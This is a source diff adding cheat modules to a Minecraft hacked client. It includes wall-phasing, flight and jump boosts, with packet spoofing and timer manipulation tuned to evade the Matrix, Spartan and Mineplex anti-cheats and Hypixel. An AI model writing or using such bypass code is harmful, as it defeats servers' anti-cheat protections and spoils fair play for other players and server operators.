OldMatrixBlinkPhase : PhaseMode("OldMatrixBlink") { + private var matrixClip = false + private var flagCount = 0 + private val tickTimer = TickTimer() + private val timerValue = FloatValue("${valuePrefix}timer", 0.3f,0.1f,1f) + private val clipDistValue = FloatValue("${valuePrefix}initialClipDistance", 0.1f, 0.03f, 0.3f) + private val showFlagsValue = BoolValue("${valuePrefix}showFlag", true) + override fun onEnable() { + matrixClip = false + tickTimer.reset() + flagCount = 0 + } + + override fun onMove(event: MoveEvent) { + if (flagCount > 5) return + + if (mc.thePlayer.isCollidedHorizontally) matrixClip = true + + if (matrixClip) { + mc.timer.timerSpeed = timerValue.get() + tickTimer.update() + event.x = 0.0 + event.z = 0.0 + if (tickTimer.hasTimePassed(3)) { + tickTimer.reset() + matrixClip = false + } else if (tickTimer.hasTimePassed(1)) { + val offset = if (tickTimer.hasTimePassed(2)) 1.6 else clipDistValue.get().toDouble() + val direction = MovementUtils.direction + mc.thePlayer.setPosition(mc.thePlayer.posX + -sin(direction) * offset, mc.thePlayer.posY, mc.thePlayer.posZ + cos(direction) * offset) + } + } else { + mc.timer.timerSpeed = 1f + return + } + } + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S08PacketPlayerPosLook) { + if (showFlagsValue.get()) ClientUtils.displayChatMessage("§7[§c§lPhase§7] §bFlag: §e§l${flagCount++}") + if (flagCount < 4) { + TransferUtils.silentConfirm = true + } + TransferUtils.noMotionSet = true + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/matrix/OldMatrixPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/matrix/OldMatrixPhase.kt new file mode 100644 index 0000000..7fbbbd6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/matrix/OldMatrixPhase.kt @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.matrix + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class OldMatrixPhase : PhaseMode("OldMatrix") { + + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY - 3, mc.thePlayer.posZ) + mc.gameSettings.keyBindForward.pressed = true + MovementUtils.strafe(0.1f) + mc.gameSettings.keyBindForward.pressed = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/other/MineplexPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/other/MineplexPhase.kt new file mode 100644 index 0000000..5b50a27 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/other/MineplexPhase.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.other + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import kotlin.math.cos +import kotlin.math.sin + +class MineplexPhase : PhaseMode("Mineplex") { + private var mineplexClip = false + private val ticktimer = TickTimer() + override fun onEnable() { + mineplexClip = false + ticktimer.reset() + } + + override fun onMove(event: MoveEvent) { + if (mc.thePlayer.isCollidedHorizontally) mineplexClip = true + if (!mineplexClip) return + ticktimer.update() + event.x = 0.0 + event.z = 0.0 + if (ticktimer.hasTimePassed(3)) { + ticktimer.reset() + mineplexClip = false + } else if (ticktimer.hasTimePassed(1)) { + val offset = if (ticktimer.hasTimePassed(2)) 1.6 else 0.06 + val direction = MovementUtils.direction + mc.thePlayer.setPosition(mc.thePlayer.posX + -sin(direction) * offset, mc.thePlayer.posY, mc.thePlayer.posZ + cos(direction) * offset) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/spartan/SpartanPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/spartan/SpartanPhase.kt new file mode 100644 index 0000000..89f0bd6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/spartan/SpartanPhase.kt @@ -0,0 +1,70 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.spartan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import net.minecraft.network.play.client.C03PacketPlayer +import kotlin.math.cos +import kotlin.math.sin + +class SpartanPhase : PhaseMode("Spartan") { + private val tickTimer = TickTimer() + override fun onEnable() { + tickTimer.reset() + } + + override fun onUpdate(event: UpdateEvent) { + val isInsideBlock = + BlockUtils.collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } + if (isInsideBlock) { + mc.thePlayer.noClip = true + mc.thePlayer.motionY = 0.0 + mc.thePlayer.onGround = true + } + tickTimer.update() + + if (!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking)) return + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(0.5, 0.0, 0.5, true)) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY - 0.2, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(0.5, 0.0, 0.5, true)) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX + 0.5, + mc.thePlayer.posY, + mc.thePlayer.posZ + 0.5, + true + ) + ) + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + val x = -sin(yaw) * 0.04 + val z = cos(yaw) * 0.04 + mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z) + tickTimer.reset() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/AutomaticPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/AutomaticPhase.kt new file mode 100644 index 0000000..b58f30c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/AutomaticPhase.kt @@ -0,0 +1,44 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.vanilla + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.client.C03PacketPlayer + +class AutomaticPhase : PhaseMode("Automatic") { + private val timer = MSTimer() + private val offSetValue = FloatValue("${valuePrefix}Offset", 4.0f, -8.0f, 8.0f) + private val timerValue = IntegerValue("${valuePrefix}PhaseDelay", 1000, 500, 5000) + private val freezeMotionValue = BoolValue("${valuePrefix}FreezeMotion", true) + private var aClip = true + override fun onEnable() { + timer.reset() + aClip = true + } + + override fun onUpdate(event: UpdateEvent) { + if (timer.hasTimePassed(timerValue.get().toLong())) { + if (aClip) { + aClip = false + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY - offSetValue.get(), mc.thePlayer.posZ) + } + } else if(freezeMotionValue.get()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is C03PacketPlayer) { + if (!mc.netHandler.doneLoadingTerrain) { + timer.reset() + aClip = true + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/ClipPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/ClipPhase.kt new file mode 100644 index 0000000..88b4540 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/ClipPhase.kt @@ -0,0 +1,46 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.vanilla + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import net.minecraft.util.BlockPos +import kotlin.math.cos +import kotlin.math.sin + +class ClipPhase : PhaseMode("Clip") { + private val tickTimer = TickTimer() + override fun onEnable() { + tickTimer.reset() + } + + override fun onUpdate(event: UpdateEvent) { + val isInsideBlock = + BlockUtils.collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } + if (isInsideBlock) { + mc.thePlayer.noClip = true + mc.thePlayer.motionY = 0.0 + mc.thePlayer.onGround = true + } + tickTimer.update() + + if (!tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking)) return + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + val oldX = mc.thePlayer.posX + val oldZ = mc.thePlayer.posZ + var i = 1 + while (i <= 10) { + val x = -sin(yaw) * i + val z = cos(yaw) * i + if (BlockUtils.getBlock(BlockPos(oldX + x, mc.thePlayer.posY, oldZ + z)) is BlockAir + && BlockUtils.getBlock(BlockPos(oldX + x, mc.thePlayer.posY + 1, oldZ + z)) is BlockAir) { + mc.thePlayer.setPosition(oldX + x, mc.thePlayer.posY, oldZ + z) + break + } + i++ + } + tickTimer.reset() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/FastFallPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/FastFallPhase.kt new file mode 100644 index 0000000..6531016 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/FastFallPhase.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.vanilla + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.block.Block +import net.minecraft.block.BlockAir + +class FastFallPhase : PhaseMode("FastFall") { + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.noClip = true + mc.thePlayer.motionY -= 10.0 + mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY - 0.5, mc.thePlayer.posZ) + mc.thePlayer.onGround = BlockUtils.collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/SkipPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/SkipPhase.kt new file mode 100644 index 0000000..745e852 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/SkipPhase.kt @@ -0,0 +1,58 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.vanilla + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import net.minecraft.network.play.client.C03PacketPlayer +import kotlin.math.cos +import kotlin.math.sin + +class SkipPhase : PhaseMode("Skip") { + private val tickTimer = TickTimer() + override fun onEnable() { + tickTimer.reset() + } + + override fun onUpdate(event: UpdateEvent) { + val isInsideBlock = + BlockUtils.collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } + if (isInsideBlock) { + mc.thePlayer.noClip = true + mc.thePlayer.motionY = 0.0 + mc.thePlayer.onGround = true + } + tickTimer.update() + + if (!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking)) return + val direction = MovementUtils.direction + val posX = -sin(direction) * 0.3 + val posZ = cos(direction) * 0.3 + var i = 0 + while (i < 3) { + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY + 0.06, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX + posX * i, + mc.thePlayer.posY, + mc.thePlayer.posZ + posZ * i, + true + ) + ) + ++i + } + mc.thePlayer.entityBoundingBox = mc.thePlayer.entityBoundingBox.offset(posX, 0.0, posZ) + mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX + posX, mc.thePlayer.posY, mc.thePlayer.posZ + posZ) + tickTimer.reset() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/VanillaPhase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/VanillaPhase.kt new file mode 100644 index 0000000..dd76b3e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/phases/vanilla/VanillaPhase.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.phases.vanilla + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import kotlin.math.cos +import kotlin.math.sin + +class VanillaPhase : PhaseMode("Vanilla") { + private val tickTimer = TickTimer() + override fun onEnable() { + tickTimer.reset() + } + override fun onUpdate(event: UpdateEvent) { + val isInsideBlock = BlockUtils.collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } + if(isInsideBlock) { + mc.thePlayer.noClip = true + mc.thePlayer.motionY = 0.0 + mc.thePlayer.onGround = true + } + tickTimer.update() + + if (!mc.thePlayer.onGround || !tickTimer.hasTimePassed(2) || !mc.thePlayer.isCollidedHorizontally || !(!isInsideBlock || mc.thePlayer.isSneaking)) return + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + val x = -sin(yaw) * 0.04 + val z = cos(yaw) * 0.04 + mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z) + tickTimer.reset() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/AirJump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/AirJump.kt new file mode 100644 index 0000000..692c9c0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/AirJump.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.client.C03PacketPlayer + +@ModuleInfo(name = "AirJump", category = ModuleCategory.MOVEMENT) +object AirJump : Module() { + + private val spoofGroundValue = BoolValue("SpoofGround", false) + @EventTarget + fun onUpdate(event: UpdateEvent) { + mc.thePlayer.onGround = true + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is C03PacketPlayer) { + if(spoofGroundValue.get()) { + packet.onGround = true + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/AntiStuck.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/AntiStuck.kt new file mode 100644 index 0000000..d2cd6b3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/AntiStuck.kt @@ -0,0 +1,92 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +@ModuleInfo(name = "AntiStuck", category = ModuleCategory.MOVEMENT) +object AntiStuck : Module() { + + private val flagsValue = IntegerValue("Flags", 5, 1, 10) + + private val timer = MSTimer() + private val reduceTimer = MSTimer() + private var flagsTime = 0 + private var stuck = false + + private fun reset() { + stuck = false + flagsTime = 0 + timer.reset() + reduceTimer.reset() + } + + override fun onEnable() { + reset() + } + + @EventTarget + fun onWorld(event: WorldEvent) { + reset() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (stuck) { + val freeze = FDPClient.moduleManager[Freeze::class.java]!! + freeze.state = true + + if (timer.hasTimePassed(1500)) { + stuck = false + flagsTime = 0 + freeze.state = false + timer.reset() + reduceTimer.reset() + } + } else { + if (flagsTime> flagsValue.get()) { + timer.reset() + reduceTimer.reset() + flagsTime = 0 + stuck = true + FDPClient.hud.addNotification(Notification(name, "Trying to unstuck you", NotifyType.INFO, 1500)) + } + if (timer.hasTimePassed(1500) && reduceTimer.hasTimePassed(500) && flagsTime> 0) { + flagsTime -= 1 + reduceTimer.reset() + } + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S08PacketPlayerPosLook) { + flagsTime++ + reduceTimer.reset() + if (!stuck) { + timer.reset() + } + } + if (stuck && packet is C03PacketPlayer) { + event.cancelEvent() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BoatFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BoatFly.kt new file mode 100644 index 0000000..47b4fa9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BoatFly.kt @@ -0,0 +1,49 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import kotlin.math.cos +import kotlin.math.sin + +@ModuleInfo(name = "BoatFly", category = ModuleCategory.MOVEMENT) +object BoatFly : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Motion", "Clip", "Velocity"), "Motion") + private val speedValue = FloatValue("Speed", 0.3f, 0.0f, 1.0f) + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if(!mc.thePlayer.isRiding) return + + val vehicle = mc.thePlayer.ridingEntity + val x = -sin(MovementUtils.direction) * speedValue.get() + val z = cos(MovementUtils.direction) * speedValue.get() + + when (modeValue.get().lowercase()) { + "motion" -> { + vehicle.motionX = x + vehicle.motionY = (if(mc.gameSettings.keyBindJump.pressed) speedValue.get() else 0).toDouble() + vehicle.motionZ = z + } + + "clip" -> { + vehicle.setPosition(vehicle.posX + x , vehicle.posY + (if (mc.gameSettings.keyBindJump.pressed) speedValue.get() else 0).toDouble() , vehicle.posZ + z) + } + + "velocity" -> { + vehicle.addVelocity(x, if(mc.gameSettings.keyBindJump.pressed) speedValue.get().toDouble() else 0.0, z) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BoatJump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BoatJump.kt new file mode 100644 index 0000000..b00c1d4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BoatJump.kt @@ -0,0 +1,156 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.entity.item.EntityBoat +import net.minecraft.network.play.client.C02PacketUseEntity +import net.minecraft.network.play.client.C0CPacketInput +import net.minecraft.util.Vec3 +import kotlin.math.cos +import kotlin.math.sin + +@ModuleInfo(name = "BoatJump", category = ModuleCategory.MOVEMENT) +object BoatJump : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Boost", "Launch", "Matrix"), "Boost") + private val hBoostValue = FloatValue("HBoost", 2f, 0f, 6f) + private val vBoostValue = FloatValue("VBoost", 2f, 0f, 6f) + private val matrixTimerStartValue = FloatValue("MatrixTimerStart", 0.3f, 0.1f, 1f).displayable { modeValue.equals("Matrix") } + private val matrixTimerAirValue = FloatValue("MatrixTimerAir", 0.5f, 0.1f, 1.5f).displayable { modeValue.equals("Matrix") } + private val launchRadiusValue = FloatValue("LaunchRadius", 4F, 3F, 10F).displayable { modeValue.equals("Launch") } + private val delayValue = IntegerValue("Delay", 200, 100, 500) + private val autoHitValue = BoolValue("AutoHit", true) + + private var jumpState = 1 + private val timer = MSTimer() + private val hitTimer = MSTimer() + private var lastRide = false + private var hasStopped = false + + override fun onEnable() { + jumpState = 1 + lastRide = false + } + + override fun onDisable() { + hasStopped = false + mc.timer.timerSpeed = 1f + mc.thePlayer.speedInAir = 0.02f + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + // println(mc.timer.timerSpeed) + if (mc.thePlayer.onGround && !mc.thePlayer.isRiding) { + hasStopped = false + mc.timer.timerSpeed = 1f + mc.thePlayer.speedInAir = 0.02f + } + + when (modeValue.get().lowercase()) { + "matrix" -> { + if (hasStopped) { + mc.timer.timerSpeed = matrixTimerAirValue.get() + } else { + mc.timer.timerSpeed = 1f + } + } + } + + if (mc.thePlayer.isRiding && jumpState == 1) { + if (!lastRide) { + timer.reset() + } + + if (timer.hasTimePassed(delayValue.get().toLong())) { + jumpState = 2 + when (modeValue.get().lowercase()) { + "matrix" -> { + mc.timer.timerSpeed = matrixTimerStartValue.get() + mc.netHandler.addToSendQueue( + C0CPacketInput( + mc.thePlayer.moveStrafing, + mc.thePlayer.moveForward, + false, + true + ) + ) + } + else -> { + mc.netHandler.addToSendQueue( + C0CPacketInput( + mc.thePlayer.moveStrafing, + mc.thePlayer.moveForward, + false, + true + ) + ) + } + } + } + } else if (jumpState == 2 && !mc.thePlayer.isRiding) { + val radiansYaw = mc.thePlayer.rotationYaw * Math.PI / 180 + + when (modeValue.get().lowercase()) { + "boost" -> { + mc.thePlayer.motionX = hBoostValue.get() * -sin(radiansYaw) + mc.thePlayer.motionZ = hBoostValue.get() * cos(radiansYaw) + mc.thePlayer.motionY = vBoostValue.get().toDouble() + jumpState = 1 + } + "launch" -> { + mc.thePlayer.motionX += (hBoostValue.get() * 0.1) * -sin(radiansYaw) + mc.thePlayer.motionZ += (hBoostValue.get() * 0.1) * cos(radiansYaw) + mc.thePlayer.motionY += vBoostValue.get() * 0.1 + + var hasBoat = false + for (entity in mc.theWorld.loadedEntityList) { + if (entity is EntityBoat && mc.thePlayer.getDistanceToEntity(entity) < launchRadiusValue.get()) { + hasBoat = true + break + } + } + if (!hasBoat) { + jumpState = 1 + } + } + "matrix" -> { + hasStopped = true + mc.timer.timerSpeed = matrixTimerAirValue.get() + mc.thePlayer.motionX = hBoostValue.get() * -sin(radiansYaw) + mc.thePlayer.motionZ = hBoostValue.get() * cos(radiansYaw) + mc.thePlayer.motionY = vBoostValue.get().toDouble() + jumpState = 1 + } + } + + timer.reset() + hitTimer.reset() + } + + lastRide = mc.thePlayer.isRiding + + if (autoHitValue.get() && !mc.thePlayer.isRiding && hitTimer.hasTimePassed(1500)) { + for (entity in mc.theWorld.loadedEntityList) { + if (entity is EntityBoat && mc.thePlayer.getDistanceToEntity(entity) < 3) { + mc.netHandler.addToSendQueue(C02PacketUseEntity(entity, Vec3(0.5, 0.5, 0.5))) + mc.netHandler.addToSendQueue(C02PacketUseEntity(entity, C02PacketUseEntity.Action.INTERACT)) + hitTimer.reset() + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BowJump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BowJump.kt new file mode 100644 index 0000000..0a1adce --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BowJump.kt @@ -0,0 +1,247 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MovementUtils.strafe +import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacketNoEvent +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.init.Items +import net.minecraft.item.ItemBow +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C05PacketPlayerLook +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C09PacketHeldItemChange +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import java.awt.Color + +@ModuleInfo(name = "BowJump", category = ModuleCategory.MOVEMENT) +class BowJump : Module() { + private val hypixelBypassValue = BoolValue("hypixelBypass", true) + private val modeValue = ListValue("BoostMode", arrayOf("Strafe", "SpeedInAir"), "Strafe") + private val speedInAirBoostValue = FloatValue("SpeedInAir", 0.03f, 0.02f, 0.1f) + private val boostValue = FloatValue("Boost", 4.25f, 0f, 10f) + private val heightValue = FloatValue("Height", 0.42f, 0f, 10f) + private val timerValue = FloatValue("Timer", 1f, 0.1f, 10f) + private val delayBeforeLaunch = IntegerValue("DelayBeforeArrowLaunch", 1, 1, 20) + + var autodisable = BoolValue("AutoDisable",true) + private val renderValue = BoolValue("RenderStatus", true) + + private var bowState = 0 + private var lastPlayerTick: Long = 0 + + + private var lastSlot = -1 + + override fun onEnable() { + if (mc.thePlayer == null) return + bowState = 0 + lastPlayerTick = -1 + lastSlot = mc.thePlayer.inventory.currentItem + + strafe(0.0f) + mc.thePlayer.onGround = false + mc.thePlayer.jumpMovementFactor = 0.0f + } + + @EventTarget + fun onMove(event: MoveEvent) { + if (mc.thePlayer.onGround && bowState < 3) event.cancelEvent() + } + + @EventTarget + fun onPacket(event: PacketEvent) 